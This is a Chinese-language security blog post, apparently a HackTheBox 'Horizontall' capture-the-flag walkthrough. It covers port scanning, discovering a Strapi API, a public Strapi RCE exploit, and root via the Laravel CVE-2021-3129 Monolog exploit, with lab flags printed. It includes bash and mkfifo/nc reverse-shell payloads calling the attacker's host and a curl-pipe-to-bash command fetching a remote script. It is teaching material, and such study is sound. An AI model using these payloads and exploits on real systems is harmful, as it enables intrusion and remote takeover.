freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
2025-02-20 00:12:25
所属地 海外

Information Gathering

IP AddressOpening Ports
10.10.11.105TCP:22,80

$ ip='10.10.11.105'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
|   256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_  256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Strapi RCE

# echo "10.10.11.105 horizontall.htb">>/etc/hosts

image.png

$ feroxbuster -u 'http://horizontall.htb'

image-1.png

http://horizontall.htb/js/app.c68eb462.js

image-2.png

# echo "10.10.11.105 api-prod.horizontall.htb">>/etc/hosts

image-3.png

$ curl http://api-prod.horizontall.htb/admin/init|jq

image-6.png

$ feroxbuster -u 'http://api-prod.horizontall.htb'

image-4.png

http://api-prod.horizontall.htb/admin/auth/login

image-5.png

https://www.exploit-db.com/exploits/50239

$ python3 exp.py http://api-prod.horizontall.htb

bash -c 'bash -i >& /dev/tcp/10.10.16.28/445 0>&1'

image-7.png

User.txt

0985824865581079bb013f166e34e37e

Privilege Escalation:Laravel <= v8.4.2 PHPGGC Monolog RCE

https://github.com/MartinxMax/KTOR/blob/main/ktor.sh

$ curl http://10.10.16.24/ktor.sh|bash -s -- -l -p all

image-8.png

这里通过再靶机使用ssh-keygen命令生成私钥进行登录

$ ssh -i id_rsa -L 8000:localhost:8000 -L 1337:localhost:1337 strapi@10.10.11.105 -t /bin/bash

http://127.0.0.1:8000/

image-9.png

$ feroxbuster -u 'http://127.0.0.1:8000/'

image-10.png

image-11.png

https://raw.githubusercontent.com/nth347/CVE-2021-3129_exploit/refs/heads/master/exploit.py

$ python3 exp.py http://localhost:8000 Monolog/RCE1 id

image-12.png

$ python3 exp.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.28 10032 >/tmp/f'

image-13.png

Root.txt

90ed87c84901a6f1b348da73a1d57d57

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录